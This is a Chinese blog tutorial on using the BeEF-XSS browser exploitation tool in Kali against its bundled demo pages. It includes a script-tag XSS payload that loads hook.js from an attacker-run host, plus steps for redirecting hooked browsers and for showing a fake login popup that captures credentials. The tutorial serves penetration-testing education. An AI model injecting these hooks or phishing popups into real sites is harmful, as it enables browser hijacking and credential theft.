「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
Beefxss
Beef-XSS是一款功能强大的
「XSS漏洞利用工具」,kali自带,基于Ruby语言开发。
一、首次使用
在kali中搜索 beefxss,就能找到。
单击打开,会自动运行「beef-xss 服务」,并打开Web界面。
提示:如果弹出的Web界面提示链接失败,可以关掉终端命令行,重新打开一次beef xss。
换成kali虚拟机的IP,也可以在物理机上访问Web界面:
http://127.0.0.1:3000/ui/panel
二、修改账号密码
初次使用会让你设置密码,如果密码忘了,可以到
/usr/share/beef-xss/config.yaml
查看,这是Beff-xx的「配置文件」,用来保存版本、密码等配置信息。
修改密码可以直接修改文件中passwd这个字段,重启beef-xx服务后生效。
# 1、编辑配置文件,修改passwd字段vim /usr/share/beef-xss/config.yaml
# 2、重启beef-xss服务
systemctl restart beef-xss
三、自带练习页面
Beef-xss自带两个「练习页面」:
http://127.0.0.1:3000/demos/basic.html
http://127.0.0.1:3000/demos/butcher/index.html
复制链接到kali虚拟机即可访问。
如果想在物理机访问,就把链接中的IP改成kali虚拟机的IP。
四、简单使用
Beef-xss的打开界面中,给我们提供了一个范例,我们在目标网页「提交」这行JS代码,就可以使用工具了。
提交的时候记得把IP改成部署Beff-xss的主机IP。
我们拿第一个练习页面来举例,提交代码
<script src="http://192.168.31.101:3000/hook.js"></script>
。
提交后,Beff-xss的Web界面,会多出一个「在线浏览器」。
把练习页面关掉,这个IP就会从在线浏览器中消失,进入「离线浏览器」。
再次打开练习页面,就会重新进入在线浏览器。
这就意味着,提交了XSS的网页,只有打开时,才可以被利用,关掉就不可利用。
五、工具界面介绍
beef-XSS界面有很多栏,重点是 Commands 栏的功能指令,其他的基本用不到,不用太留意。
- Online Browsers:在线浏览器,工具定时发送链接请求,链接成功就会显示在这里。
- Offline Browsers:离线浏览器
- Getting Started:入门指南,官方的一些文档
- Logs:日志,记录工具做过哪些操作
- Zombies:僵尸,记录可以利用的目标站点
- Current Browser:上线的浏览器,只有在目标在线的时候才会显示出来。
- Details:细节,展示目标的IP、版本等信息
- Logs:日志,记录目标浏览器做过哪些操作
- Commands:指令,工具的核心,不同的指令对应不同的操作 – Module Tree:模块树,可以使用的模块功能 – Module Result History:模块使用记录 – XXX:指令描述,解释这个功能是干什么用的,怎么使用
六、功能演示
beef-XSS的 Commands 栏提供了很多功能,这里拿两个常用的功能给大家演示一下,功能应该如何使用。
以下演示的功能使用beef-XSS自带的练习网页
http://127.0.0.1:3000/demos/basic.html
请先按照四章节,提交XSS代码后,才可以使用功能。
1、网页重定向
Commands 栏搜索 redirect,点击 Redirect Browser 模块,右侧 Redirect URL 中输入要跳转的网址,点右下角 Execute。
切换到目标页面,会发现它正在跳转或已经跳转到了指定页面。
2、社工弹窗
Commands 搜索 pretty,选中 Pretty Theft,右侧链接的IP改成部署Beef-xss的主机IP,点击Execute。
目标页面就会弹窗,提示会话超时,要求重新登录。
目标“登录”后,登录信息就会提交到工具中,点击对应的记录就坑查看提交的信息。
右侧的 Dialog Type 可以选择「弹窗的类型」,比如,换个Windows的弹窗。
页面就会弹出 Windows安全认证的登录窗口。
3、功能颜色标识
beef-XSS使用四种颜色来标识功能的可用性。
- 「绿色」:可以运行,且用户不会感觉出异常
- 「橙色」:可以运行,但用户可能感到异常(弹窗等)
- 「灰色」:未验证,不确定是否可以使用
- 「红色」:不可用
七、工具原理
beef-XSS有一个内置的 hook.js 文件,文件里是一些用来交互的JS代码。
我们提交payload的时候,其实就是把这个「Hook脚本」挂到了网页上。
挂上去以后,beef-XSS就可以通过「Hook脚本」,和网页进行交互。
我们提交的payload实际上就是在页面插入了一行js代码,代码的内容是一个链接,指向了beef-XSS的hook.js文件:
我们直接访问这个链接,可以看到hook.js文件里的代码。
这个是工具内置的脚本代码,等我们熟悉了以后,也可以自己写一个这样的脚本代码。
版权归原作者 士别三日wyx 所有, 如有侵权,请联系我们删除。